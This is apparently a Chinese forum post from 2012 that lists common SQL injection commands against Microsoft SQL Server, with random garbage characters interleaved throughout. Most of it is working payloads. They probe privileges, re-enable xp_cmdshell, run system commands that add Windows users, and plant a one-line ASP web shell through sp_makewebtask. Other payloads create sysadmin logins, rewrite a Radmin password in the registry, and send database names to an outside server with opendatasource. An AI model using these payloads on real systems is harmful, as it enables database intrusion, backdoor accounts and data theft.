找回密码
 立即注册
查看: 2294|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
$ D- _' {& ~8 z5 f" J2 mand 1=(Select IS_MEMBER('db_owner'))
! P# j4 z" _) B* i5 v5 SAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--- F7 F5 V8 p( V3 B

1 ~& Z4 Y9 |6 W+ P# Y% O2 P//检测是否有读取某数据库的权限
' O6 J- _8 P2 _8 Mand 1= (Select HAS_DBACCESS('master'))
; x0 K* W$ W! E: x! d0 Q6 D( EAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --  a% x- c6 D  k: j. `' g
" p( b/ b" Z" Y2 v+ X
' o9 V% L# ?1 m( i, r% v" V* ^! I
数字类型
7 B3 X) K0 p6 P0 ]2 I+ i* @, U1 Hand char(124)%2Buser%2Bchar(124)=0
/ G( `8 E0 {: H* Y: Y2 Q/ g, f. c3 T5 ^
字符类型
- Z' C& {2 |6 g1 V2 c' and char(124)%2Buser%2Bchar(124)=0 and ''='
" p) \) N" Q9 C" o9 M+ x; O
6 `. ^0 y8 ?9 _搜索类型0 R% j4 j0 U* c  \9 a
' and char(124)%2Buser%2Bchar(124)=0 and '%'='( n2 c& M# v0 @+ e( `

3 r' `! t4 E3 h9 V0 q爆用户名
2 v- V+ W# L% `& {' x% M% Sand user>0
5 B1 n- ~0 x. S. f; `' and user>0 and ''='7 n0 P  i! J* B+ D
% M1 v1 j9 v* t: F6 f. O
检测是否为SA权限" a3 h4 d% b" A4 z1 G
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--) r2 J. C+ v' w9 t
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
0 v) W+ c( i6 v  T, Z; U9 _( c9 M9 c7 p2 s7 w2 J3 h9 Q: ]' S2 B  r
检测是不是MSSQL数据库
) ^. F9 q5 S: M3 D0 a$ q+ i1 N, iand exists (select * from sysobjects);--* J8 _# X0 K% O! e8 u

* a; }; J6 X7 @- ~检测是否支持多行7 y  s1 O' Q$ M4 ]" s$ k
;declare @d int;--8 H8 H" [9 Z- p2 c, R: c" g9 h5 O3 O: Z

* \% O# K- Q, K/ w恢复 xp_cmdshell  m/ j& U# r4 Z, y( k
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--, P0 e2 O# a3 W# h% |

& b5 ~4 e/ r! o$ m
3 j! }: ]/ H  Dselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version'). X  R4 j: p3 o  r8 J
/ i% j# s$ y: z4 M
//-----------------------, x2 z) z( J( O' g' j
//       执行命令
: T0 d5 y% X7 N# T, j7 x//-----------------------/ R5 v# ~8 M- p
首先开启沙盘模式:' ^  t6 C6 I1 d+ U: s* @
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',12 F- r4 M: c4 G$ ?7 r3 ]
& Y9 k4 w; k0 {! y4 h2 [
然后利用jet.oledb执行系统命令+ T$ e4 j* N; X; |) T: |1 A* T
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
1 J* f9 [' x5 X' i1 T
# m( g3 U# e1 q执行命令
8 z1 r* J- w! p/ i;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
5 h" y. H$ B, v( o! s# ?, O# S* C& C& p( v6 m
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'' {; I% u( U. }1 h5 V) S1 i
& I: ~9 j9 i9 v
判断xp_cmdshell扩展存储过程是否存在:
' {9 {/ o, f) U" L6 P, Z# xhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
6 _2 H- r9 J3 O( \* M, u& `7 d: |" d1 Z& x" V
写注册表
3 i# P; z* S7 z9 \, V& [exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 n' ]1 R4 d% q2 L3 r; w( W$ U  a9 n  Z5 u, I' E
REG_SZ. O; a! o1 O% P1 b4 B3 M  j8 J

8 C4 H. p+ c+ g  u% p7 ^5 f: P% L0 t读注册表
) S8 W, N  [# }1 y6 Xexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
6 f5 Q. M# y5 I0 q7 ~( H
5 C& a8 f. k$ Y& l0 r% l' b读取目录内容
' l+ u6 {# Q" R0 \9 o$ Gexec master..xp_dirtree 'c:\winnt\system32\',1,11 k5 ^3 s) c6 f. J+ k

2 ~4 u& U% A  {* w8 I8 J! X7 ~% r" F; B# ^5 z4 [
数据库备份( z& G/ W5 Q9 c( ~% B+ V: O; D# K
backup database pubs to disk = 'c:\123.bak'0 \& f$ ]! B, r( n' O  P
& I" q) X0 j% o( B
//爆出长度
, m0 A) E' z  O3 j& t; d( O+ MAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
( n: g  }' l2 J0 q4 Q
- R7 \  o9 B; [5 x4 v6 J: F, L, q! N9 }6 S5 l/ x

( Z& `0 Q0 X) P9 G更改sa口令方法:用sql综合利用工具连接后,执行命令:) M7 ^) e; m( _# t" h9 Y+ ?5 i4 |
exec sp_password NULL,'新密码','sa'3 D% o' X1 c& X2 U$ }  w

+ J% R" O* h: A$ |5 e添加和删除一个SA权限的用户test:, `0 M! j) s2 g& w% O
exec master.dbo.sp_addlogin test,95307727 T. ?/ o" g1 n: `3 D0 Z
exec master.dbo.sp_addsrvrolemember test,sysadmin8 n& M+ C3 `1 h& g# o; X7 w
4 H$ h& C) U& @) P  a. A" d3 k) D. W. V
删除扩展存储过过程xp_cmdshell的语句:
; e# L! R- U3 n" A: jexec sp_dropextendedproc 'xp_cmdshell'. U4 p8 q1 h" ?2 T/ w
; I! [, P# T$ Z+ u
添加扩展存储过过程' Y& K5 M4 N; L& |
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'- O8 _, o3 X. A- v
GRANT exec On xp_proxiedadata TO public
8 Z* Y4 J* m. {/ n6 U
8 j/ B0 b" S# }' w# z
: _3 F( [- k: C, S! f# T停掉或激活某个服务。4 q" E( P1 Z5 }' |' _: l
8 T% A, B7 G# C+ ?# o
exec master..xp_servicecontrol 'stop','schedule'. z( F2 a$ n% S/ A- t" G  F2 F8 ~
exec master..xp_servicecontrol 'start','schedule'3 h7 ?) |, a5 R7 d" h9 h

5 ^) o, s7 C' s) h  X( g' Q' Wdbo.xp_subdirs
# l5 k+ u  E5 z/ I
) Y4 ~6 s& N& O* O  {+ V" v' o只列某个目录下的子目录。' i- l2 {: P& E: [/ y  K. F
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
% Q! a  G6 g& E/ d
& M! m9 c/ N/ K# \( o1 Ldbo.xp_makecab
0 u7 a+ O0 [! m$ p) l( f
, ~, Q4 f6 h2 ?7 p将目标多个档案压缩到某个目标档案之内。- D: N0 j) ?# F1 d% {6 P
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。) f  X  \! W' W, P3 t& @% e" \  k9 j
  n6 m; O1 G5 [$ k" r" l
dbo.xp_makecab' k  t/ g% Y3 K. {6 y% S9 v7 v
'c:\test.cab','mszip',1,8 b) b& h3 L5 I- k: f
'C:\Inetpub\wwwroot\SQLInject\login.asp',2 L9 N; T5 l- n. a9 H& B
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
+ [3 r5 y. U3 e8 X6 J" ]2 |4 k. q: c% L# z; A( J: m0 u+ B( x
xp_terminate_process
8 n; I* \1 J' V& ^' m  \( D, `9 \0 R( q+ Y. p4 U& u! j& f* V
停掉某个执行中的程序,但赋予的参数是 Process ID。' X$ q  {- ]" T; ^. H4 z
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID1 G6 v, {# }9 N8 L( h  j8 L
# V/ a; N# e- S9 R& [
xp_terminate_process 2484$ A6 j: O8 G" i8 n" C$ m

' o$ U$ n# ]+ m& E$ \6 `xp_unpackcab5 l! v5 X5 ^  f  D% j
- f. I8 b' Y( O2 F+ w; @
解开压缩档。8 @- I% z* U( j3 ^, R

4 A( n6 Z" l, |- w) t) j5 W+ }xp_unpackcab 'c:\test.cab','c:\temp',1; d' R6 Q% ?% M* i' w+ ^$ a
# y0 m9 H9 Q) `6 z$ t

2 P8 C, B  W/ D. ^% Y某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
: r. V4 t$ w) e1 {( n$ M
  a6 P( o, x8 o* f* T7 \, b; gcreate database lcx;
$ m+ |, t% Z" J2 A. ?# o' M% z- }5 DCreate TABLE ku(name nvarchar(256) null);# ~; i! y* T& b2 ], u, x& X  O3 ~
Create TABLE biao(id int NULL,name nvarchar(256) null);
' ]& z- b) I. m, s* ]' z7 o2 E% N( _5 c1 W" `
//得到数据库名
- S* v0 K# s9 h% u. }3 O# Qinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases. K7 G- ^& o% _$ n, Q' |

4 r  e' g$ d5 W( D/ V& ~7 [" O2 h' s) @6 `9 s. B- |
//在Master中创建表,看看权限怎样7 L# ^! j0 c1 k3 U( j  i
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
+ A9 ^. |. m$ _$ m# |. I' x; O5 ?" f5 `8 C
用 sp_makewebtask直接在web目录里写入一句话马:2 l5 u( j+ T2 G) @, y3 ^
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--- F9 _& U' I- C# n
2 y. o5 C5 ]% H+ S6 S7 I( I7 ?
//更新表内容- _- q$ k7 D) g, q- y1 D
Update films SET kind = 'Dramatic' Where id = 123
- t7 D& H, Z. [' F* y3 B) \/ W$ Y+ v% }1 o. i' f$ G1 U! [
//删除内容
: z" f/ m6 t8 @. V5 A9 G* }delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表